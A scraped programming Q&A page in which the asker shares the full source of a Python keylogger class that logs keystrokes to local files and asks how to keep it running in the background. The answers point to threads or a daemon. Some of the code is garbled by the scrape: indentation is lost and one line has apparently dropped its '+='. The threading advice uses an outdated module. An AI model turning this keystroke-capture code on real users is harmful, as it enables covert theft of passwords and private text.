Home > Software design >  How to make Python keylogger work in background
How to make Python keylogger work in background

Time:10-19

I'm trying to create a keylogger using the Python keyboard library. Currently I have a start function like this:

def start(self):
    # record the start datetime
    self.start_dt = datetime.now()
    # start the keylogger
    keyboard.on_release(callback=self.callback)
    # make a simple message
    print(f"{datetime.now()} - Started keylogger")
    # block the current thread, wait
    keyboard.wait("esc")
    self.report()

In my application when I click a button it creates a KeyLogging object and calls this start function. However, when I click the button it freezes my application because this keyboard.wait method blocks the main thread until this keyboard thread finishes executing. Is there a way to not block the main thread and have this work in the background like an actual keylogger? I want to be able to use my application and I'd still like it to exit when "esc" is pressed. Thanks!

Full KeyLogger class:

import keyboard
import os
from datetime import datetime

class KeyLogger:
def __init__(self) -> None:
    self.log = ""
    self.startTime = datetime.now()
    
def callback(self, event) -> None:
    name = event.name
    # not a character, special key (e.g ctrl, alt, etc.)
    # uppercase with []
    if name == "space":
        # " " instead of "space"
        name = " "
    elif name == "enter":
        # add a new line whenever an ENTER is pressed
        name = "[ENTER]\n"
    elif name == "decimal":
        name = "."
    elif len(name) > 1:
        # replace spaces with underscores
        name = name.replace(" ", "_")
        name = f"[{name.upper()}]"
        
    self.log  = name
    
def update_filename(self):
    # construct the filename to be identified by start & end datetimes
    start_dt_str = str(self.startTime)[:-7].replace(" ", "-").replace(":", "")
    self.filename = f"keylog-{start_dt_str}"
    
def report_to_file(self):
    """This method creates a log file in the current directory that contains
    the current keylogs in the `self.log` variable"""
    # open the file in write mode (create it)
    if os.path.exists("logs/") == False:
        os.mkdir("logs/")
    with open(f"logs/{self.filename}.txt", "w") as f:
        # write the keylogs to the file
        print(self.log, file=f)
    print(f"[ ] Saved {self.filename}.txt")
    
def report(self):
    if self.log:
         self.update_filename()
         self.report_to_file()
         self.startTime = datetime.now()
         self.log = ""
         
def start(self):
    # record the start datetime
    self.start_dt = datetime.now()
    # start the keylogger
    keyboard.on_release(callback=self.callback)
    # make a simple message
    print(f"{datetime.now()} - Started keylogger")
    # block the current thread, wait
    keyboard.wait("esc")
    self.report()
    
def stop(self):
    keyboard.press("esc")

CodePudding user response:

You can simply use "Thread".

Step 1: import "Thread" library

import thread

Step 2: Define a function for the thread

some function that each time user presses a key, will generate that Keylogger object

Step 3: Create as many threads as user click

thread.start_new_thread( functionName, (parameter1, parameter2, ...) )

Also, you can treat classes to extend Thread class.

Use this link to learn more about it: Multi Threading in Python

CodePudding user response:

You are asking for a daemon process that will run in the background and listening to keystrokes.

See this post

  • Related